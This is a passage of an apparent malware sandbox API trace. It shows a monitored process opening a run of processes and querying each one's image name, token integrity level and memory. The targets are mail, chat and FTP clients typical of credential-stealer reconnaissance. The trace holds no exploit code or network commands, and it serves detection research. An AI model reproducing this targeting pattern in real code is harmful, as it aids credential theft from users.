SubAuthority=0x2000), nSubAuthority=0x0) returned 0xab0d10 [0095.433] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab0d00) returned 1 [0095.433] NtClose (Handle=0x2a0) returned 0x0 [0095.433] NtQueryVirtualMemory (in: ProcessHandle=0x21c, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0095.433] NtQueryVirtualMemory (in: ProcessHandle=0x21c, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0095.444] QueryFullProcessImageNameW (in: hProcess=0x220, dwFlags=0x0, lpExeName=0xa447a0, lpdwSize=0x119fa50 | out: lpExeName="C:\\Program Files (x86)\\Windows Sidebar\\outlook.exe", lpdwSize=0x119fa50) returned 1 [0095.445] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa447a0) returned 1 [0095.445] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x119fa24 | out: Wow64Process=0x119fa24) returned 1 [0095.445] IsWow64Process (in: hProcess=0x220, Wow64Process=0x119fa34 | out: Wow64Process=0x119fa34) returned 1 [0095.445] NtQueryInformationProcess (in: ProcessHandle=0x220, ProcessInformationClass=0x18, ProcessInformation=0x119fa30, ProcessInformationLength=0x4, ReturnLength=0x119fa34 | out: ProcessInformation=0x119fa30, ReturnLength=0x119fa34) returned 0x0 [0095.445] GetProcessTimes (in: hProcess=0x220, lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58 | out: lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58) returned 1 [0095.445] OpenProcessToken (in: ProcessHandle=0x220, DesiredAccess=0x8, TokenHandle=0x119fa24 | out: TokenHandle=0x119fa24*=0x2a0) returned 1 [0095.445] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x119fa20 | out: TokenInformation=0x0, ReturnLength=0x119fa20) returned 0 [0095.445] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0xab0d00 [0095.445] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0xab0d00, TokenInformationLength=0x14, ReturnLength=0x119fa20 | out: TokenInformation=0xab0d00, ReturnLength=0x119fa20) returned 1 [0095.445] GetSidSubAuthorityCount (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0xab0d09 [0095.445] GetSidSubAuthority (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0xab0d10 [0095.446] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab0d00) returned 1 [0095.446] NtClose (Handle=0x2a0) returned 0x0 [0095.446] NtQueryVirtualMemory (in: ProcessHandle=0x220, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0095.446] NtQueryVirtualMemory (in: ProcessHandle=0x220, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0095.457] QueryFullProcessImageNameW (in: hProcess=0x224, dwFlags=0x0, lpExeName=0xa447a0, lpdwSize=0x119fa50 | out: lpExeName="C:\\Program Files\\Windows Photo Viewer\\pidgin.exe", lpdwSize=0x119fa50) returned 1 [0095.458] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa447a0) returned 1 [0095.458] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x119fa24 | out: Wow64Process=0x119fa24) returned 1 [0095.458] IsWow64Process (in: hProcess=0x224, Wow64Process=0x119fa34 | out: Wow64Process=0x119fa34) returned 1 [0095.458] NtQueryInformationProcess (in: ProcessHandle=0x224, ProcessInformationClass=0x18, ProcessInformation=0x119fa30, ProcessInformationLength=0x4, ReturnLength=0x119fa34 | out: ProcessInformation=0x119fa30, ReturnLength=0x119fa34) returned 0x0 [0095.458] GetProcessTimes (in: hProcess=0x224, lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58 | out: lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58) returned 1 [0095.458] OpenProcessToken (in: ProcessHandle=0x224, DesiredAccess=0x8, TokenHandle=0x119fa24 | out: TokenHandle=0x119fa24*=0x2a0) returned 1 [0095.458] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x119fa20 | out: TokenInformation=0x0, ReturnLength=0x119fa20) returned 0 [0095.458] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0xab0d00 [0095.459] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0xab0d00, TokenInformationLength=0x14, ReturnLength=0x119fa20 | out: TokenInformation=0xab0d00, ReturnLength=0x119fa20) returned 1 [0095.459] GetSidSubAuthorityCount (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0xab0d09 [0095.459] GetSidSubAuthority (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0xab0d10 [0095.459] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab0d00) returned 1 [0095.459] NtClose (Handle=0x2a0) returned 0x0 [0095.459] NtQueryVirtualMemory (in: ProcessHandle=0x224, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0095.459] NtQueryVirtualMemory (in: ProcessHandle=0x224, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0095.470] QueryFullProcessImageNameW (in: hProcess=0x228, dwFlags=0x0, lpExeName=0xa447a0, lpdwSize=0x119fa50 | out: lpExeName="C:\\Program Files (x86)\\Windows Defender\\scriptftp.exe", lpdwSize=0x119fa50) returned 1 [0095.471] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa447a0) returned 1 [0095.471] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x119fa24 | out: Wow64Process=0x119fa24) returned 1 [0095.471] IsWow64Process (in: hProcess=0x228, Wow64Process=0x119fa34 | out: Wow64Process=0x119fa34) returned 1 [0095.471] NtQueryInformationProcess (in: ProcessHandle=0x228, ProcessInformationClass=0x18, ProcessInformation=0x119fa30, ProcessInformationLength=0x4, ReturnLength=0x119fa34 | out: ProcessInformation=0x119fa30, ReturnLength=0x119fa34) returned 0x0 [0095.471] GetProcessTimes (in: hProcess=0x228, lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58 | out: lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58) returned 1 [0095.471] OpenProcessToken (in: ProcessHandle=0x228, DesiredAccess=0x8, TokenHandle=0x119fa24 | out: TokenHandle=0x119fa24*=0x2a0) returned 1 [0095.471] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x119fa20 | out: TokenInformation=0x0, ReturnLength=0x119fa20) returned 0 [0095.471] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0xab0d00 [0095.472] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0xab0d00, TokenInformationLength=0x14, ReturnLength=0x119fa20 | out: TokenInformation=0xab0d00, ReturnLength=0x119fa20) returned 1 [0095.472] GetSidSubAuthorityCount (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0xab0d09 [0095.472] GetSidSubAuthority (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0xab0d10 [0095.472] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab0d00) returned 1 [0095.472] NtClose (Handle=0x2a0) returned 0x0 [0095.472] NtQueryVirtualMemory (in: ProcessHandle=0x228, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0095.472] NtQueryVirtualMemory (in: ProcessHandle=0x228, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0095.484] QueryFullProcessImageNameW (in: hProcess=0x22c, dwFlags=0x0, lpExeName=0x1273230, lpdwSize=0x119fa50 | out: lpExeName="C:\\Program Files (x86)\\Java\\skype.exe", lpdwSize=0x119fa50) returned 1 [0095.484] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1273230) returned 1 [0095.484] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x119fa24 | out: Wow64Process=0x119fa24) returned 1 [0095.484] IsWow64Process (in: hProcess=0x22c, Wow64Process=0x119fa34 | out: Wow64Process=0x119fa34) returned 1 [0095.484] NtQueryInformationProcess (in: ProcessHandle=0x22c, ProcessInformationClass=0x18, ProcessInformation=0x119fa30, ProcessInformationLength=0x4, ReturnLength=0x119fa34 | out: ProcessInformation=0x119fa30, ReturnLength=0x119fa34) returned 0x0 [0095.484] GetProcessTimes (in: hProcess=0x22c, lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58 | out: lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58) returned 1 [0095.484] OpenProcessToken (in: ProcessHandle=0x22c, DesiredAccess=0x8, TokenHandle=0x119fa24 | out: TokenHandle=0x119fa24*=0x2a0) returned 1 [0095.484] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x119fa20 | out: TokenInformation=0x0, ReturnLength=0x119fa20) returned 0 [0095.485] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0xab0d00 [0095.485] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0xab0d00, TokenInformationLength=0x14, ReturnLength=0x119fa20 | out: TokenInformation=0xab0d00, ReturnLength=0x119fa20) returned 1 [0095.485] GetSidSubAuthorityCount (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0xab0d09 [0095.485] GetSidSubAuthority (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0xab0d10 [0095.486] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab0d00) returned 1 [0095.486] NtClose (Handle=0x2a0) returned 0x0 [0095.486] NtQueryVirtualMemory (in: ProcessHandle=0x22c, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0095.486] NtQueryVirtualMemory (in: ProcessHandle=0x22c, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0095.497] QueryFullProcessImageNameW (in: hProcess=0x230, dwFlags=0x0, lpExeName=0x1273230, lpdwSize=0x119fa50 | out: lpExeName="C:\\Program Files\\Microsoft Sync Framework\\smartftp.exe", lpdwSize=0x119fa50) returned 1 [0095.498] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1273230) returned 1 [0095.498] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x119fa24 | out: Wow64Process=0x119fa24) returned 1 [0095.498] IsWow64Process (in: hProcess=0x230, Wow64Process=0x119fa34 | out: Wow64Process=0x119fa34) returned 1 [0095.498] NtQueryInformationProcess (in: ProcessHandle=0x230, ProcessInformationClass=0x18, ProcessInformation=0x119fa30, ProcessInformationLength=0x4, ReturnLength=0x119fa34 | out: ProcessInformation=0x119fa30, ReturnLength=0x119fa34) returned 0x0 [0095.498] GetProcessTimes (in: hProcess=0x230, lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58 | out: lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58) returned 1 [0095.498] OpenProcessToken (in: ProcessHandle=0x230, DesiredAccess=0x8, TokenHandle=0x119fa24 | out: TokenHandle=0x119fa24*=0x2a0) returned 1 [0095.498] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x119fa20 | out: TokenInformation=0x0, ReturnLength=0x119fa20) returned 0 [0095.498] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0xab0d00 [0095.499] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0xab0d00, TokenInformationLength=0x14, ReturnLength=0x119fa20 | out: TokenInformation=0xab0d00, ReturnLength=0x119fa20) returned 1 [0095.499] GetSidSubAuthorityCount (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0xab0d09 [0095.499] GetSidSubAuthority (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0xab0d10 [0095.499] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab0d00) returned 1 [0095.499] NtClose (Handle=0x2a0) returned 0x0 [0095.499] NtQueryVirtualMemory (in: ProcessHandle=0x230, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0095.500] NtQueryVirtualMemory (in: ProcessHandle=0x230, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0095.511] QueryFullProcessImageNameW (in: hProcess=0x234, dwFlags=0x0, lpExeName=0x1273230, lpdwSize=0x119fa50 | out: lpExeName="C:\\Program Files (x86)\\MSBuild\\thunderbird.exe", lpdwSize=0x119fa50) returned 1 [0095.511] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1273230) returned 1 [0095.511] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x119fa24 | out: Wow64Process=0x119fa24) returned 1 [0095.511] IsWow64Process (in: hProcess=0x234, Wow64Process=0x119fa34 | out: Wow64Process=0x119fa34) returned 1 [0095.511] NtQueryInformationProcess (in: ProcessHandle=0x234, ProcessInformationClass=0x18, ProcessInformation=0x119fa30, ProcessInformationLength=0x4, ReturnLength=0x119fa34 | out: ProcessInformation=0x119fa30, ReturnLength=0x119fa34) returned 0x0 [0095.511] GetProcessTimes (in: hProcess=0x234, lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58 | out: lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58) returned 1 [0095.511] OpenProcessToken (in: ProcessHandle=0x234, DesiredAccess=0x8, TokenHandle=0x119fa24 | out: TokenHandle=0x119fa24*=0x2a0) returned 1 [0095.511] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x119fa20 | out: TokenInformation=0x0, ReturnLength=0x119fa20) returned 0 [0095.511] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0xab0d00 [0095.512] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0xab0d00, TokenInformationLength=0x14, ReturnLength=0x119fa20 | out: TokenInformation=0xab0d00, ReturnLength=0x119fa20) returned 1 [0095.512] GetSidSubAuthorityCount (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0xab0d09 [0095.512] GetSidSubAuthority (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0xab0d10 [0095.513] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab0d00) returned 1 [0095.513] NtClose (Handle=0x2a0) returned 0x0 [0095.513] NtQueryVirtualMemory (in: ProcessHandle=0x234, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0095.513] NtQueryVirtualMemory (in: ProcessHandle=0x234, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0095.524] QueryFullProcessImageNameW (in: hProcess=0x238, dwFlags=0x0, lpExeName=0x1273230, lpdwSize=0x119fa50 | out: lpExeName="C:\\Program Files (x86)\\Java\\totalcmd.exe", lpdwSize=0x119fa50) returned 1 [0095.524] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1273230) returned 1 [0095.524] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x119fa24 | out: Wow64Process=0x119fa24) returned 1 [0095.524] IsWow64Process (in: hProcess=0x238, Wow64Process=0x119fa34 | out: Wow64Process=0x119fa34) returned 1 [0095.524] NtQueryInformationProcess (in: ProcessHandle=0x238, ProcessInformationClass=0x18, ProcessInformation=0x119fa30, ProcessInformationLength=0x4, ReturnLength=0x119fa34 | out: ProcessInformation=0x119fa30, ReturnLength=0x119fa34) returned 0x0 [0095.524] GetProcessTimes (in: hProcess=0x238, lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58 | out: lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58) returned 1 [0095.524] OpenProcessToken (in: ProcessHandle=0x238, DesiredAccess=0x8, TokenHandle=0x119fa24 | out: TokenHandle=0x119fa24*=0x2a0) returned 1 [0095.525] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x119fa20 | out: TokenInformation=0x0, ReturnLength=0x119fa20) returned 0 [0095.525] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0xab0d00 [0095.525] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0xab0d00, TokenInformationLength=0x14, ReturnLength=0x119fa20 | out: TokenInformation=0xab0d00, ReturnLength=0x119fa20) returned 1 [0095.525] GetSidSubAuthorityCount (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0xab0d09 [0095.525] GetSidSubAuthority (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0xab0d10 [0095.526] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab0d00) returned 1 [0095.526] NtClose (Handle=0x2a0) returned 0x0 [0095.526] NtQueryVirtualMemory (in: ProcessHandle=0x238, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0095.526] NtQueryVirtualMemory (in: ProcessHandle=0x238, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0095.537] QueryFullProcessImageNameW (in: hProcess=0x23c, dwFlags=0x0, lpExeName=0x1273230, lpdwSize=0x119fa50 | out: lpExeName="C:\\Program Files (x86)\\Adobe\\trillian.exe", lpdwSize=0x119fa50) returned 1 [0095.537] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1273230) returned 1 [0095.537] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x119fa24 | out: Wow64Process=0x119fa24) returned 1 [0095.537] IsWow64Process (in: hProcess=0x23c, Wow64Process=0x119fa34 | out: Wow64Process=0x119fa34) returned 1 [0095.537] NtQueryInformationProcess (in: ProcessHandle=0x23c, ProcessInformationClass=0x18, ProcessInformation=0x119fa30, ProcessInformationLength=0x4, ReturnLength=0x119fa34 | out: ProcessInformation=0x119fa30, ReturnLength=0x119fa34) returned 0x0 [0095.538] GetProcessTimes (in: hProcess=0x23c, lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58 | out: lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58) returned 1 [0095.538] OpenProcessToken (in: ProcessHandle=0x23c, DesiredAccess=0x8, TokenHandle=0x119fa24 | out: TokenHandle=0x119fa24*=0x2a0) returned 1 [0095.538] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x119fa20 | out: TokenInformation=0x0, ReturnLength=0x119fa20) returned 0 [0095.538] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0xab0d00 [0095.538] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0xab0d00, TokenInformationLength=0x14, ReturnLength=0x119fa20 | out: TokenInformation=0xab0d00, ReturnLength=0x119fa20) returned 1 [0095.538] GetSidSubAuthorityCount (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0xab0d09 [0095.538] GetSidSubAuthority (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0xab0d10 [0095.539] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab0d00) returned 1 [0095.539] NtClose (Handle=0x2a0) returned 0x0 [0095.539] NtQueryVirtualMemory (in: ProcessHandle=0x23c, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0095.539] NtQueryVirtualMemory (in: ProcessHandle=0x23c, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0095.550] QueryFullProcessImageNameW (in: hProcess=0x240, dwFlags=0x0, lpExeName=0x1273230, lpdwSize=0x119fa50 | out: lpExeName="C:\\Program Files (x86)\\Windows Photo Viewer\\webdrive.exe", lpdwSize=0x119fa50) returned 1 [0095.551] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1273230) returned 1 [0095.551] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x119fa24 | out: Wow64Process=0x119fa24) returned 1 [0095.551] IsWow64Process (in: hProcess=0x240, Wow64Process=0x119fa34 | out: Wow64Process=0x119fa34) returned 1 [0095.551] NtQueryInformationProcess (in: ProcessHandle=0x240, ProcessInformationClass=0x18, ProcessInformation=0x119fa30, ProcessInformationLength=0x4, ReturnLength=0x119fa34 | out: ProcessInformation=0x119fa30, ReturnLength=0x119fa34) returned 0x0 [0095.551] GetProcessTimes (in: hProcess=0x240, lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58 | out: lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58) returned 1 [0095.551] OpenProcessToken (in: 